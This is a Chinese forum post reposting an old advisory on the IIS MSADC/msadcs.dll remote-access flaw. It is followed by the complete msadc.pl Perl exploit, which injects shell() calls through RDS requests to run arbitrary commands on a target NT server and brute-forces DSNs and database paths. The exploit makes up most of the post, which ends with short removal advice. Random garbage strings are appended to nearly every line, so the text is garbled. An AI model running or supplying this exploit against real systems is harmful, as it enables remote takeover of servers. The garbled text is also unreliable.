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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) :& $v.#  
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涉及程序: gQhYM7NP{5  
Microsoft NT server {Ho_U&<  
x`wUi*G  
描述: 7PfNPz<4+  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 a&mL Dh/  
[UdJ(cGf  
详细: A;/,</  
如果你没有时间读详细内容的话,就删除: H,/ =<Th;i  
c:\Program Files\Common Files\System\Msadc\msadcs.dll S>HfyZ&Pc  
有关的安全问题就没有了。 }{J>kgr6  
4yMi9Ri4H  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 5``usn/&Kj  
vsA/iH.  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Q}lY1LT`  
关于利用ODBC远程漏洞的描述,请参看: %AT/g&M&1#  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm -yIx:*KI  
n ]l3 )u  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ;L],i<F  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Y?oeP^V'u  
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这里不再论述。 )h(=X&(d  
KxJDAP  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: |a0@4 :  
p4uObK,  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 2B6y1"B  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! >"zN`  
7|ACJv6%9  
V2m= m}HQ  
#将下面这段保存为txt文件,然后: "perl -x 文件名" .)t*!$5=N  
nGJ+.z  
#!perl U; #v-'Z  
# 33"!K>wC  
# MSADC/RDS 'usage' (aka exploit) script =ZV+*cCC=q  
# 0eA |Uq~  
# by rain.forest.puppy Fv^>^txh  
# qssK0!-  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ^|h.B$_F,  
# beta test and find errors! n;.);  
4Dd]:2|D  
use Socket; use Getopt::Std; /GNm>NSK  
getopts("e:vd:h:XR", \%args); Q`=d5Uvw  
/5>A 2y  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; [].euDrX  
RbA.&=3  
if (!defined $args{h} && !defined $args{R}) { 8X\":l:  
print qq~ 0w2<2grQ  
Usage: msadc.pl -h <host> { -d <delay> -X -v } '2p,0Bk9i  
-h <host> = host you want to scan (ip or domain) (3m^@2i  
-d <seconds> = delay between calls, default 1 second JAmpU^(C  
-X = dump Index Server path table, if available D|C!KF (  
-v = verbose )h%tEY$AJ  
-e = external dictionary file for step 5 Lp{uA4:=K  
!|,djo!N  
Or a -R will resume a command session *u>[  
'_n$xfH  
~; exit;} %x^U3"7  
*M~BN}.  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ;T!ZO@1X  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 2;SiH]HNS  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 0n?^I>j  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); nG| NRp  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} |)ALJJ=+  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ge&!GO  
v?q)E%5j  
if (!defined $args{R}){ $ret = &has_msadc; Fy^8]u*Fu  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} f F9=zrW  
Is  ( Ji  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Ez^wK~  
. "cmd /c "; Q"GZh.m  
$in=<STDIN>; chomp $in; ML1/1GK*i+  
$command="cmd /c " . $in ; R8, g^N  
m8* )@e  
if (defined $args{R}) {&load; exit;} N<HJ}geC "  
n--s[Kdo8  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; [:{HX U7y  
&try_btcustmr; U ,\t2z  
|198A,^  
print "\nStep 2: Trying to make our own DSN..."; bqZ5GKUo  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; [_tBv" z  
Xf|I=XK  
print "\nStep 3: Trying known DSNs..."; ~Y7:08  
&known_dsn; ~2 J!I^ J  
]n4G]ybK%  
print "\nStep 4: Trying known .mdbs..."; u5P2*  
&known_mdb; f5t/=/6>F  
j@jUuYuDgl  
if (defined $args{e}){ 0 SDyE  
print "\nStep 5: Trying dictionary of DSN names..."; \2 `|eo  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } gCI{g. [I!  
T^nOv2@,  
print "Sorry Charley...maybe next time?\n"; S),acc(d  
exit; JHsxaX;c  
5k<0>6;XH  
############################################################################## pJ@D}2u(  
Cl!qdh6  
sub sendraw { # ripped and modded from whisker |)YN"nqg  
sleep($delay); # it's a DoS on the server! At least on mine... z dUSmb  
my ($pstr)=@_; ff 2`4_ ,|  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || U;Q?Rh- W  
die("Socket problems\n"); Z2I2 [pA  
if(connect(S,pack "SnA4x8",2,80,$target)){ ! X<dN..  
select(S); $|=1; ?Lquf&`vP  
print $pstr; my @in=<S>; `mDCX  
select(STDOUT); close(S); 4Mv]z^  
return @in; hyC]{E  
} else { die("Can't connect...\n"); }} rIAbr5CG  
ks(BS k4  
############################################################################## :>m67Zq  
+nQp_a1{9%  
sub make_header { # make the HTTP request n4Q ^   
my $msadc=<<EOT ^[hx`Rh`t  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 03dmHg.E!E  
User-Agent: ACTIVEDATA jtQ}  
Host: $ip _h P7hhR  
Content-Length: $clen mq oB]H,  
Connection: Keep-Alive nW_cjYS%  
I73=PfS:m  
ADCClientVersion:01.06 2j-^F  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 V\r2=ok@y  
bG!/%,s  
--!ADM!ROX!YOUR!WORLD! @`:z$52  
Content-Type: application/x-varg 7SJtW`~  
Content-Length: $reqlen #HmZe98[%  
h9l 6AnbJ  
EOT 6{?B`gm7g  
; $msadc=~s/\n/\r\n/g; C.?~D*Q  
return $msadc;} oYrg;]H  
ze#r/j;sw  
############################################################################## '"]U+aIg  
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sub make_req { # make the RDS request 7) Qq  
my ($switch, $p1, $p2)=@_; )&.Zxo;q=  
my $req=""; my $t1, $t2, $query, $dsn; ;a~ e  
}6 Mo C0  
if ($switch==1){ # this is the btcustmr.mdb query wp>L}!  
$query="Select * from Customers where City=" . make_shell(); |aS272'  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . G57c 8}\4  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} G9r~O#=gy  
d&t,^Hj  
elsif ($switch==2){ # this is general make table query R b=q #  
$query="create table AZZ (B int, C varchar(10))"; k[]2S8K2  
$dsn="$p1";} A$W~R  
zEs:OOM  
elsif ($switch==3){ # this is general exploit table query klx28/]  
$query="select * from AZZ where C=" . make_shell(); P?j;&@$^e  
$dsn="$p1";} J*+[?FXRL  
gE~LPwM  
elsif ($switch==4){ # attempt to hork file info from index server ow K)]t  
$query="select path from scope()"; RZqou|ki  
$dsn="Provider=MSIDXS;";} tk!5"`9N  
NWII?X#T}  
elsif ($switch==5){ # bad query F4 =V* /7  
$query="select"; >|g(/@IO  
$dsn="$p1";} a<l DT_2b  
7&vDx=W  
$t1= make_unicode($query); "g&hsp+i"A  
$t2= make_unicode($dsn); wg]VG,  
$req = "\x02\x00\x03\x00"; Nh"U~zlh  
$req.= "\x08\x00" . pack ("S1", length($t1)); g0:{{w  
$req.= "\x00\x00" . $t1 ; m,PiuR>  
$req.= "\x08\x00" . pack ("S1", length($t2)); Ex@o&j\93  
$req.= "\x00\x00" . $t2 ;  /J[s5{  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; #]@|mf q  
return $req;} &r1]A&  
b r\_  
############################################################################## 28LYGrB  
1SSS0&  
sub make_shell { # this makes the shell() statement WM9z~z'2a  
return "'|shell(\"$command\")|'";} EM,=R  
y=SVS3D  
############################################################################## 7(C:ty9  
#X qnH  
sub make_unicode { # quick little function to convert to unicode WlmkM?@  
my ($in)=@_; my $out; my%MXTm2  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } W?D-&X^ny  
return $out;} _[$,WuG1  
(0^ZZe`# j  
############################################################################## )_SpY\J  
p;.M .  
sub rdo_success { # checks for RDO return success (this is kludge) 0n*D](/NK  
my (@in) = @_; my $base=content_start(@in); lwm 9gka  
if($in[$base]=~/multipart\/mixed/){ )F,z pGG  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} %`}nP3  
return 0;} U[W &D%'  
dK>sHUu  
############################################################################## v:]z-zU  
l;}3J3/qq]  
sub make_dsn { # this makes a DSN for us W}@IUCRs  
my @drives=("c","d","e","f"); q@vqhE4  
print "\nMaking DSN: "; sq;3qbz  
foreach $drive (@drives) { -mLS\TFS  
print "$drive: "; #M@~8dAH}M  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . zV8{|-2]No  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ~{-9qOGw;  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); U;t1 K  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; w$"^)E G,7  
return 0 if $2 eq "404"; # not found/doesn't exist nB6 $*'  
if($2 eq "200") { . Ky)Co  
foreach $line (@results) { L wn  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} in`|.#  
} return 0;} bL/DjsZ@  
&1ZUMc  
############################################################################## oqbhb1D1<  
>35W{ d  
sub verify_exists { Ty}Y/jW  
my ($page)=@_; @;}vK=6L  
my @results=sendraw("GET $page HTTP/1.0\n\n"); HYl~)O>  
return $results[0];} 4`Lr^q}M+  
_fS4a134R  
############################################################################## 2 ])e}& i  
|!{ Y:f;  
sub try_btcustmr { `N8t2yF  
my @drives=("c","d","e","f"); *auT_*  
my @dirs=("winnt","winnt35","winnt351","win","windows"); (#8B  
z0@BBXQ`  
foreach $dir (@dirs) { :Q8*MJ3&V  
print "$dir -> "; # fun status so you can see progress V&7NN=  
foreach $drive (@drives) { &z@}9U*6b  
print "$drive: "; # ditto iw%" "q(`  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 3:T~$M`]  
$reqlenlen=length( "$reqlen" ); nWA>u J5  
$clen= 206 + $reqlenlen + $reqlen; w@pJ49  
N9 h|_ax  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ]A%~bQ7  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} \}W !  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Z"$iB-]  
T"1=/r$Ft  
############################################################################## X.ecA`0  
pfHfw,[  
sub odbc_error { n;wViw  
my (@in)=@_; my $base; Q" r y@ (I  
my $base = content_start(@in); wHh6y?g\  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this n'[>h0  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 6sG5 n7E-A  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; &hih p"  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; m|3 Q'  
return $in[$base+4].$in[$base+5].$in[$base+6];} 88l1g,`**  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; aW9\h_$  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . xjD."q  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} #x`K4f)  
|AS~sjWSJ  
############################################################################## ae" o|Q  
"z*.Bk  
sub verbose { %+/Dv  
my ($in)=@_; sDAP'&  
return if !$verbose; E1SWZ&';  
print STDOUT "\n$in\n";} uh`5:V  
Swh\^/B8  
############################################################################## \Foo:jON  
m^ Epw4eg  
sub save { %7QSBL  
my ($p1, $p2, $p3, $p4)=@_; 31UxYBY  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; uIBN !\j  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ;hF}"shJN  
close OUT;} +s^nT{B@\  
a~?B/ g&_  
############################################################################## AN3oh1xe:  
z?pi /`y8>  
sub load { [5ncBY*A7  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Kj)sL0  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 4ETHaIiWp  
@p=<IN>; close(IN); TU': Rt  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); #+i:s92],  
$target= inet_aton($ip) || die("inet_aton problems"); RA?_j$  
print "Resuming to $ip ..."; 9MH;=88q  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ^+~ 5\c*  
if($p[1]==1) { $0vWC#.A]  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 3iUJ!gK  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; /:ZwGyT;  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); v|KIVBkbT  
if (rdo_success(@results)){print "Success!\n";} :W6'G@ p  
else { print "failed\n"; verbose(odbc_error(@results));}} HB`'S7Q  
elsif ($p[1]==3){ L9XfR$7,z  
if(run_query("$p[3]")){ N;,zPWa  
print "Success!\n";} else { print "failed\n"; }} R!yh0y}Z  
elsif ($p[1]==4){ )_\;l%&  
if(run_query($drvst . "$p[3]")){ 2vU-9p {  
print "Success!\n"; } else { print "failed\n"; }} Pm%5c\ef  
exit;} P (DEf(  
-%| ] d ;  
############################################################################## ;Yv{)@'Bc  
P j,H]  
sub create_table { y5F"JjQAa  
my ($in)=@_; Hpa6; eT  
$reqlen=length( make_req(2,$in,"") ) - 28; w,up`W7,  
$reqlenlen=length( "$reqlen" ); K\xnQeS<W  
$clen= 206 + $reqlenlen + $reqlen; QT zN  
my @results=sendraw(make_header() . make_req(2,$in,"")); m.!LL]]  
return 1 if rdo_success(@results); <VSB!:ew  
my $temp= odbc_error(@results); verbose($temp); TGU7o:2  
return 1 if $temp=~/Table 'AZZ' already exists/; J9OL>!J  
return 0;} QAt]sat  
d3 i(UN]  
############################################################################## :y`LF <  
\F-n}Z  
sub known_dsn { ,|A6l?iV  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ?@Q0;LG  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", <T;V9(66  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", *C0a,G4  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); dQ~GE}[  
IZm6.F  
foreach $dSn (@dsns) { `"PHhCG+z  
print "."; &@'%0s9g  
next if (!is_access("DSN=$dSn")); ~@*q8l C  
if(create_table("DSN=$dSn")){  otfmM]f  
print "$dSn successful\n"; ](v,2(}=  
if(run_query("DSN=$dSn")){ ah f,- ?S  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { kZo# Ny  
print "Something's borked. Use verbose next time\n";}}} print "\n";} w\ 0vP  
H }]Zp  
############################################################################## H C,5j)1  
1h(IrV5g  
sub is_access { oV;sd5'LG  
my ($in)=@_; j`q>YPp  
$reqlen=length( make_req(5,$in,"") ) - 28; DU8\1(  
$reqlenlen=length( "$reqlen" ); GF9[|). T  
$clen= 206 + $reqlenlen + $reqlen; \!30t1EZ  
my @results=sendraw(make_header() . make_req(5,$in,"")); $]Ix(7@W  
my $temp= odbc_error(@results); tu"-]^  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 1*G&ZI  
return 0;} p`rjWpH  
U, 7  
############################################################################## jnbR}a=fJ  
>~Gy+-  
sub run_query { ;?@Rq"*  
my ($in)=@_; s8[(   
$reqlen=length( make_req(3,$in,"") ) - 28; ZMZWO$"K1  
$reqlenlen=length( "$reqlen" ); r7>FH!=:  
$clen= 206 + $reqlenlen + $reqlen; 9M'"q7Kh  
my @results=sendraw(make_header() . make_req(3,$in,"")); R-dv$z0  
return 1 if rdo_success(@results); G7|d$!%  
my $temp= odbc_error(@results); verbose($temp); pbDr:kBL  
return 0;} rp dv{CUp7  
rPBsr<k#5  
############################################################################## );AtFP0Y  
E2dS@!]V  
sub known_mdb { lhJY]tQt/  
my @drives=("c","d","e","f","g"); t#_6GL  
my @dirs=("winnt","winnt35","winnt351","win","windows"); f4*(rX  
my $dir, $drive, $mdb; @(oY.PeS<z  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; #<B?+gzFM{  
<*z'sUh+}  
# this is sparse, because I don't know of many A^6z.MdYZ  
my @sysmdbs=( "\\catroot\\icatalog.mdb", wBg?-ji3<  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", {d'B._#i  
"\\system32\\certmdb.mdb", ?lgE9I]  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% r>|S4O  
X_nbNql  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Oi& 9FS  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Sin)]zG~0  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", UMBeY[ ?  
"\\cfusion\\cfapps\\security\\realm_.mdb", G~.VW48{n  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", x=a#|]ngG  
"\\cfusion\\database\\cfexamples.mdb", y7CXE6Y  
"\\cfusion\\database\\cfsnippets.mdb", 9z{}DBA  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", M,p0wsj;  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", #y7MB6-  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 1|-C(UW>  
"\\cfusion\\database\\smpolicy.mdb", -c1-vGW/  
"\\cfusion\\database\cypress.mdb", qGR1$\]  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", m*HUT V  
"\\website\\cgi-win\\dbsample.mdb", @ N'P?i  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", a6ryyt 5  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" *oIIcE4g7  
); #these are just W ^Fkjqpv  
foreach $drive (@drives) { fV7 k{dR  
foreach $dir (@dirs){ 2?Ryk`2i)  
foreach $mdb (@sysmdbs) { U?|A3;,xh  
print "."; "QS(4yw?jg  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ g8&& W_BI  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; \24'iYtqW  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ }id)~h_@  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ,wg(}y'  
} else { print "Something's borked. Use verbose next time\n"; }}}}} |0u qW1  
> 2/j  
foreach $drive (@drives) { H(- -hG5}  
foreach $mdb (@mdbs) { u81F^72U  
print "."; {yT<22Fl  
if(create_table($drv . $drive . $dir . $mdb)){ 8KigGhY'ms  
print "\n" . $drive . $dir . $mdb . " successful\n"; >wb*kyO7(#  
if(run_query($drv . $drive . $dir . $mdb)){ )v+&l9D  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; oNl-! W   
} else { print "Something's borked. Use verbose next time\n"; }}}} N;P/$  
} FMn|cO.vEP  
d^$cx(2$D  
############################################################################## GmJ \3]{PZ  
zK1\InP  
sub hork_idx { {~}:oV  
print "\nAttempting to dump Index Server tables...\n"; pp*MHM)x|q  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ? N]bFW"t|  
$reqlen=length( make_req(4,"","") ) - 28; `WC4:8  
$reqlenlen=length( "$reqlen" ); bT9:9LP  
$clen= 206 + $reqlenlen + $reqlen; rO#$SW$YW  
my @results=sendraw2(make_header() . make_req(4,"","")); 5oYeUy>N  
if (rdo_success(@results)){ @q]!C5  
my $max=@results; my $c; my %d; 'cQ`jWZQ  
for($c=19; $c<$max; $c++){ Sjw wc6_c  
$results[$c]=~s/\x00//g; _}']h^@ Z  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Gv8Z  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; /i Xl] <  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; >.C$2bW<L  
$d{"$1$2"}="";} r z@%rOWV  
foreach $c (keys %d){ print "$c\n"; } v [x 5@$  
} else {print "Index server doesn't seem to be installed.\n"; }} U:MZN[Cc[  
>tL" 8@z9  
############################################################################## QJkiu8r  
F3Da-6T@  
sub dsn_dict { _3f/lG?&-  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 1uA-!T*e>  
while(<IN>){ Cx(HsJ! ,  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; JPT&!%~  
next if (!is_access("DSN=$dSn")); U'5p;j)_  
if(create_table("DSN=$dSn")){ lu.xv6+  
print "$dSn successful\n"; w8>bct3@  
if(run_query("DSN=$dSn")){ S*3$1BTl  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { B@\0b|  
print "Something's borked. Use verbose next time\n";}}} aG@GJ@w  
print "\n"; close(IN);} >/@Q7V99{  
B1i'Mzm-4  
############################################################################## \[+':o`LH  
436SIh  
sub sendraw2 { # ripped and modded from whisker #vBSg  
sleep($delay); # it's a DoS on the server! At least on mine... R5uz<  
my ($pstr)=@_; >i61+uzEd+  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 55>+%@$,a  
die("Socket problems\n"); c No)LF  
if(connect(S,pack "SnA4x8",2,80,$target)){ ,<OS: ]  
print "Connected. Getting data"; Wk-. dJ  
open(OUT,">raw.out"); my @in; ND 8;1+3  
select(S); $|=1; print $pstr; m]=G73jzO  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} .:;q8FL/  
close(OUT); select(STDOUT); close(S); return @in; ;lTgihW-  
} else { die("Can't connect...\n"); }} <_bGV  
=*y{y)B^g  
############################################################################## !a5e{QG0  
9@Z++J.^y  
sub content_start { # this will take in the server headers ?PB}2*R  
my (@in)=@_; my $c; ;Oqbfl#%  
for ($c=1;$c<500;$c++) { 1 EV0Y]T1  
if($in[$c] =~/^\x0d\x0a/){ =E~SaT  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } <sGioMr  
else { return $c+1; }}} ;]/cCi  
return -1;} # it should never get here actually JvW!w)$pY  
,Qe`(vU*s  
############################################################################## {`L,F  
!:g\Fe]  
sub funky { 1tpt433  
my (@in)=@_; my $error=odbc_error(@in); .N#grk)C  
if($error=~/ADO could not find the specified provider/){ zq#gf  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; $~A\l@xAG  
exit;} e7U9"pk  
if($error=~/A Handler is required/){ ?nR$>a`  
print "\nServer has custom handler filters (they most likely are patched)\n"; }T=\hM  
exit;} ,}Ic($ To  
if($error=~/specified Handler has denied Access/){ AlgVsE%Va  
print "\nServer has custom handler filters (they most likely are patched)\n"; Qm?o^%a  
exit;}} <jVk}gi)Jp  
.7#04_aP  
############################################################################## m%OX< T!  
a>nV!b\n5  
sub has_msadc { D4GXZX8 K  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); FC8= ru  
my $base=content_start(@results); >LR+dShG  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); sE(mK<{pk  
return 0;} Yg`z4 U'6~  
b@[5xv\J  
######################## j7Lw( AJ  
lG X_5R  
v[?eL0Z  
解决方案: *_yp]z"  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll TUd=qnu  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 QGd"Z lQ  
)8Sm}aC  
拿出来充数 哈哈
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